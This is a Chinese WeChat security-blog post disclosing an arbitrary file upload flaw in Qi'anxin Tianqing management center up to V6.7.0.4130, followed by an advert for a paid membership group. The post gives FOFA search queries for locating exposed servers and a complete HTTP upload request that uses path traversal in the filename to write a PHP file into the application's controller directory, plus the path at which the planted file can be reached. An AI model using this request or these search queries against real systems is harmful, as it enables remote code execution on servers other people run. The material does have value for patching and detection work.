原创 天澜实验室 天澜实验室
天澜实验室
微信号 gh_c5fea27198a7
功能介绍 观水有术，必观其澜！ 专注于感知国内外常见系统的漏洞态势，对漏洞进行分析、复现、武器化形成。涵盖漏洞复现、攻防演练、应急响应、工具开发等知识内容。秉承“没有网络安全就没有国家安全”的宗旨，热衷并服务于网络安全事业。
__发表于
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次测试仅供学习交流使用，如若非法他用，与平台和本文作者无关，需自行负责！
00
漏洞概述
奇安信 天擎管理中心 <=V6.7.0.4130 版本的rptsvr接口存在任意文件上传漏洞，可上传恶意至服务器，执行脚本文件。
01
空间搜索语法
FoFa
banner="QiAnXin web server" || banner="360 web server" || body="appid":"skylar6" || body="/task/index/detail?id={item.id}" || body="已过期或者未授权，购买请联系4008-136-360"
02
利用过程
登录页面如下
上传数据包如下：
POST /rptsvr/upload HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36Connection: closeContent-Length: 414Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460Upgrade-Insecure-Requests: 1
-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/TController2.php"Content-Type: text/x-python
<?phpphpinfo();?>-----------------------------55433477442814818502792421460Content-Disposition: form-data; name="token"
skylar_report-----------------------------55433477442814818502792421460
访问上传文件路径如下：
http://xxxx/application/api/controllers/TController.php
03
nuclei poc
获取脚本关注本公众号后发送：qaxtq1
04
星球简介
考虑到团队运营成本和公众号 福利发放 ，创建知识星球欢迎各位师傅打赏💰 后期会用打赏的资金去 做福利 。星球的性价比真的比较可观，绝对不会因为某些身外之物水文章，安全圈很小，主要是和师傅们 交个朋友 。还请各位师傅监督团队后边的表现，将心比心 ！
进入星球你能直接收获到：
-
优先于公众号的POC更新（提前一两周~~）
-
定制化的成品工具开发
-
私人定制的客户需求（要求不要太过分呦~~）
-
实战技巧、攻防思路
-
杂七杂八的技术小福利
-
根据能力不定期的星球内部抽奖
-
更多漏洞利用Tips
欢迎各位师傅加入哦~～
进入星球直接能学习到这些漏洞：
✓
关注我们
预览时标签不可点
微信扫一扫
关注该公众号
继续滑动看下一个
原创 天澜实验室 天澜实验室
轻触阅读原文
天澜实验室
向上滑动看下一个
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
： ， 。 视频 小程序 赞 ，轻点两下取消赞 在看 ，轻点两下取消在看 分享 留言